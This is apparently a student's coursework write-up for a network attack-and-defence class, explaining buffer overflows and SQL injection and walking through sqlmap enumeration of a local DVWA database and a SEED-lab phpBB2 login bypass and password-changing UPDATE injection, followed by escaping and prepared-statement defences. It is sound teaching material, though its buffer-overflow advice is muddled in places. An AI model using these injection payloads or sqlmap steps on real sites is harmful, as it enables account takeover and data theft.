2017-2018-2 20179202《网络攻防技术》第十一周作业
一、研究缓冲区溢出的原理,至少针对两种数据库进行差异化研究
在计算机内部,输入数据通常被存放在一个临时空间内,这个临时存放的空间就被称为缓冲区,缓冲区的长度事先已经被程序或者操作系统定义好了。向缓冲区内填充数据,如果数据的长度很长,超过了缓冲区本身的容量,那么数据就会溢出存储空间,而这些溢出的数据还会覆盖在合法的数据上,这就是缓冲区和缓冲区溢出的原理。
二、针对不同数据类型,研究SQL注入点的发现与注入技术
1.传入SQL语句可控参数分为两类
- 数字类型,参数不用被引号括起来,如
?id=1
- 其他类型,参数要被引号扩起来,如
?name="phone"
判断某个链接是否存在SQL注入,可以通过对其传入的可控参数进行简单的构造,通过服务端返回的内容来判断有无注入。
其他类型:
构造测试 预期结果 变种
a' //触发错误,返回数据库错误
a' or '1'='1 //永真条件,返回所有记录 a') or ('1'=1
a' or '1'='2 //空条件,返回原来相同结果 a') or ('1'=2
a' and '1'='2 //永假条件,不返回记录 a') and ('1'='2
数字类型:
构造测试 预期结果 变种
' //触发错误,返回数据库错误
1+1 //返回原来相同的结果 3-1
1+0 //返回原来相同的结果
1 or 1=1 //永真条件,返回所有记录 1) or (1=1
1 or 1=2 //空条件,返回原来相同的结果 1) or (1=2
1 and 1=2 //永假条件,不返回记录 1) and (1=2
2.寻找注入点
如果要对一个网站进行SQL注入攻击,首先就需要找到存在SQL注入漏洞的地方,也就是寻找所谓的注入点。可能的SQL注入点一般存在于登录页面、查找页面或添加页面等用户可以查找或修改数据的地方。
最常用的寻找SQL注入点的方法,是在网站中寻找如下形式的页面链接:http://www.xxx.com/xxx.asp?id=YY
,其中“YY”可能是数字,也有可能是字符串,分别被称为整数类型数据或者字符型数据。
通常可以使用以下两种方法进行检测,判断该页面链接是否存在SQL注入漏洞
(1)“加引号”法
在浏览器地址栏中的页面链接地址后面增加一个单引号http://www.xxx.com/xxx.asp?id=YY’
,然后访问该链接地址,浏览器可能会返回类似于下面的错误提示信息Microsoft JET Database Engine 错误’80040e14’
,说明该网站可能存在SQL注入攻击的漏洞。
(2)“1=1和1=2”法
“加引号”法很直接,也很简单,但是对SQL注入有一定了解的程序员在编写程序时,都会将单引号过滤掉。如果再使用单引号测试,就无法检测到注入点了。这时,就可以使用经典的“1=1和1=2”
法进行检测。
如果正常页面链接地址为:http://www.xxx.com/xxx.asp?id=YY
,在浏览器中分别输入以下两个链接地址,分别查看它们返回的结果值。
http://www.xxx.com/xxx.asp?id=YY and 1=1
http://www.xxx.com/xxx.asp?id=YY and 1=2
如果存在注入点的话,浏览器将会分别显示为:
正常显示,内容与正常页面显示的结果基本相同。
提示BOF或EOF(程序没做任何判断时),或提示找不到记录,或显示内容为空
注:可能的SQL注入点一般存在于登录页面、查找页面或添加页面等用户可以查找或修改数据的地方
3.注入技术
网上有很多了,看了一下这个三部曲不错,贴出来,以后慢慢学习
三、 研究缓冲区溢出的防范方法,至少针对两种编程语言进行差异化研究
1.避免使用编译器中自带的库文件
编程语言通常都要带有库文件。如果一个库文件具有某些漏洞,任何包括该库文件的应用程序就都会有这些漏洞。因此,黑客往往会先试图利用常用的库文件中已知的漏洞来达到攻击本地应用程序的目的。
库文件本身也不可靠。虽然最新的编译器都开始加入大量可靠的库文件,但长期以来库文件为了提供了快速、简单的方式来完成任务,几乎没有考虑到安全编码的问题。C++编程语言就是这种形式的最典型代表。而用C++编写的程序中依赖的标准库就很容易在运行时产生错误,这也为希望利用缓冲区溢出进行攻击的黑客们提供了实现他们想法的机会。
2.验证所有的用户输入
要在本地应用程序上验证所有的用户输入,首先要确保输入字符串的长度是有效长度。举个例子,假设你的程序设计的是接受50个文本字符的输入,并将它们添加到数据库里。如果用户输入75个字符,那么他们就输入了超出数据库可以容纳的字符,这样以来谁都不能预测程序接下来的运行状况。因此,用户的输入应该这样设计:在用户输入文本字符串时,先将该字符串的长度同最大允许长度进行比较,在字符串超过最大允许长度时能对其进行必要的拦截。
3.过滤掉潜在的恶意输入
这是从用户的输入中过滤掉HTML代码,撇号和引号的代码。
strNewString = Request.Form("Review")
strNewString = Replace(strNewString, "&", "& amp;")
strNewString = Replace(strNewString, "<", "& lt;")
strNewString = Replace(strNewString, ">", "& gt;")
strNewString = Replace(strNewString, "'", "`")
strNewString = Replace(strNewString, chr(34), "``")
过滤掉可能会导致数据库出现问题的HTML代码和符号。在HTML代码中,使用"<"和">"的符号来命名一个HTML标签。为了防止用户可能会在他们的输入里嵌入HTML代码,因此程序过滤掉了"<"和">"符号。
在ASP代码中,撇号,引号和连字符都是保留符号。这些保留的符号不可以包括在用户的输入中,否则它们会导致应用程序崩溃。例如,如果用户输入一个文本行中只使用了一个撇号,之后登陆数据库时,这个命令将会失败,因为ASP需要利用成对的撇号将文本括起来提交到数据库里;ASP不知道如何处理用户的输入中的撇号。为了防止这种情况发生,以上的代码可以寻找到输入字符串中的撇号,并以“'“替代它。
4.测试应用程序
为了保护程序免受缓冲区溢出的攻击,验证和过滤用户的输入已经实施很久了。但在部署应用程序之前,你仍然需要对它进行全面彻底的测试。应当有专门的人来仔细地审查应用程序,并试图使它们崩溃。让他们尝试输入长的字符串或保留字符。如果你的应用程序在编写中已经做了足够的工作,它应该能应付各种各样的情况。如果程序崩溃了,最好马上把问题找出来,而不要等到已经应用之后。
四、至少使用两种数据库注入攻击工具
1.Sqlmap
SQLMAP是一个开源的渗透测试工具,它主要用于自动化的侦测和实施SQL注入以及渗透数据库服务器,SQLMAP配有强大的侦测引擎,适用于高级渗透测试用户,不仅可以获得不同数据库的指纹信息,还可以从数据库中提取数据,此外还能够处理潜在的文件系统以及通过带外数据连接执行系统命令等。
接下里借助注入点进行更进一步的利用。上述命令后加--dbs
,会列出有权查看的数据库。
上述命令后加--users
枚举所有用户。加--users --pass
枚举所有用户和密码hash,在以后更进一步的攻击中可以对密码hash进行破解。加--current-db
查看当前数据库为dvwa。加--current-user
查看当前用户为root。
sqlmap -u "http://192.168.199.139/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='PHPSESSID=f5b40ff6909924c340680b1ef9314d27;security=low' --tables -D dvwa
命令尝试枚举DVWA数据表。参数选项如下:
-u : 指定目标URL
-D : 要枚举的数据库
–-tables: 枚举数据库中的数据表
得到结果如下:
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users |
+-----------+
sqlmap -u "http://192.168.199.139/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='PHPSESSID=f5b40ff6909924c340680b1ef9314d27;security=low' --columns -T users -D dvwa
命令获取用户表的列。参数选项如下:
-T : 要枚举的数据库表
–-columns : 枚举数据库表中的所有列
得到结果如下:
Database: dvwa
Table: users
[6 columns]
+------------+-------------+
| Column | Type |
+------------+-------------+
| user | varchar(15) |
| avatar | varchar(70) |
| first_name | varchar(15) |
| last_name | varchar(15) |
| password | varchar(32) |
| user_id | int(6) |
+------------+-------------+
2.jSQL
jSQL是一款Java开发的轻量级远程服务器数据库注入漏洞测试工具,且免费、开源、跨平台 (Windows, Linux, Mac OS X, Solaris)。将存在注入漏洞的URL贴进去即可进行响应的漏洞利用。
五、SQL注入实践
1.实验环境
SEED Ubuntu 镜像
2.环境配置
实验需要三样东西, Firefox、 apache、 phpBB2(镜像中已有):
① 运行 Apache Server:镜像已经安装,只需运行命令 sudo service apache2 start
② phpBB2 web 应用:镜像已经安装,通过 http://www.sqllabmysqlphpbb.com 访问,应用程序源代码位于/var/www/SQL/SQLLabMysqlPhpbb/
③ 配置 DNS: 上述的 URL 仅仅在镜像内部可以访问,原因是我们修改了/etc/hosts文件使 http://www.sqllabmysqlphpbb.com 指向本机 IP 127.0.0.1。如果需要在其他机器访问,应该修改 hosts 文件,使 URL 映射到 phpBB2 所在机器的 IP。
④ 关闭对抗措施
PHP 提供了自动对抗 SQL 注入的机制,被称为 magic quote,我们需要关闭它。输入命令sudo gedit /etc/php5/apache2/php.ini
,将magic_quotes_gpc = On
修改为magic_quotes_gpc = Off
。 sudo service apache2 restart
命令重启 Apache。
3.实验任务
① 对 SELECT 语句的攻击
首先访问虚拟机内的URL:www.sqllabmysqlphpbb.com
。在进入 phpBB之前系统会要求你登陆。这个登陆认证由服务器上的 login.php 实现,需要用户输入用户名
和密码来通过认证。用户键入用户名和密码后,login.php 会将它们与 mysql 数据库中的 username 和user_password 字段进行比较,如果匹配就登陆主界面。和其他大多数 web 应用程序一样, PHP程序使用 SQL 语言与背后的数据库交互。在 phpBB2 中,下面的语句实现了对用户的认证。
SELECTuser_id,username,user_password,user_active,user_level,
user_login_tries,user_last_login_try
FROMUSERS_TABLE
WHEREusername=‟$username‟ANDuser_password=‟md5($password)‟;
if(foundonerecord)
then{allowtheusertologin}
按常理来说,如果输入错误的用户名或密码,肯定是登录不了的。但是对于有SQL注入漏洞的网站来说,只要构造特殊的“字符串”,就能够成功登录。如在用户名输入框中输入' or 1=1#
,密码随便输入,此时合成的SQL查询语句为:select * from users where username='' or 1=1#' and password=md5('')
。
“#”在mysql中是注释符,这样井号后面的内容将被mysql视为注释内容,不会去执行。即select * from users where username='' or 1=1#' and password=md5('')
等价于select * from users where username='' or 1=1
,因为1=1永远成立的,即where子句总是为真,该sql语句进一步简化之后,等价于select * from users
。由于该页面不让输入“=”,所以我们只能输入alice'#
(不能输入‘#,前面必须跟一个数据库有的用户名,所以这需要慢慢挖~),就可以在不知道alice密码的情况下登录了。
② 对 UPDATE 语句的攻击
当用户想要在 phpBB2 中修改他们的资料时,可以点击 Profile,然后填写表单修改。用户发送修改请求后,会执行include/usercp_register.php
中的一条 UPDATE SQL 语句。在这条语句中同样有一个 SQL 注入漏洞。
下面演示以 alice 登陆,目标是修改ted 的资料信息,包括他的密码。攻击成功后将可以登陆 Ted 的账号。
Profile页面可以修改本人(alice)的信息,在interests栏中输入123',提交后会显示SQL Error。想一想如果where语句中的id改成ted的,是不是就可以修改ted的信息了?
点击Memberlist查看ted的信息,可以看到一个带参数的脚本,猜测ted的id为6。
我们再在interests栏中输入123'where user_id=6#
,即将update语句中interests后的语句全部注释掉,并将where条件设置成ted的id。
再次点击Memberlist查看ted的信息,可以看到ted的interests改为123。
Current password里输入alice密码(alice),New password里输入1,即可将ted的密码修改为1了。
最后,我们输入用户名ted,密码1,即可登陆,大家试试吧!
③ 对抗 SQL 注入
SQL 注入漏洞的根本原因是没有将代码和数据区分开。当组建一个 SQL 语句时,程序(如 PHP 程序)知道哪个部分是代码哪个部分是数据。不幸的是当 SQL 语句送往数据库执行时,这个边界被打破,当程序被注入时, SQL 解释器看到的边界可能和最初的边界不一样。为了解决这个问题,保持服务端程序和数据库看到的边界一样就十分重要。
(1)使用 magic_quotes_gpc 避开特殊字符。我们只需要在单引号前加一个反斜杠()PHP 提供了自动在单引号、双引号、反斜杠和空字符前添加反斜杠的机制,如果这个
选项启用,那么所有这些从用户输入的特殊字符会被加反斜杠。启用方法为,修改/etc/php5/apache2/php.ini
的 magic_quotes_gpc = On
,然后重启 Apache。
(2)使用 addslashes()来避开特殊字符。
(3)使用 mysql_real_escape_string 避开特殊字符。一个较好的方法来防止 SQL 注入攻击是使用数据库的回避机制。 MySQL 提供了一个机制,叫 mysql_real_escape_string(),它在一些特殊字符前加反斜杠,包括: \x00, \n, \r, , ‟, “, 和\x1A。
(4)Prepare Statement
一个更平常的解决方法是将数据和 SQL 逻辑区分开来准确地告诉数据库哪是数据部分以及哪是逻辑部分。 MySQL 提供了 Prepare Statement 机制来达到这一目的。
$db=newmysqli("localhost","user","pass","db");
$stmt=$db->prepare("SELECT * FROMusersWHEREname=?ANDage=?");
$stmt->bind_param("si",$user,$age);
$stmt->execute();
使用该机制,我们将发送 SQL 语句分为几步。第一步先发送代码,如需要下一步填入数据的 SQL 语句,这是进行准备的一步。然后我们再用 bind_param()发送数据至数据库。这样数据库就可以区分代码和数据了。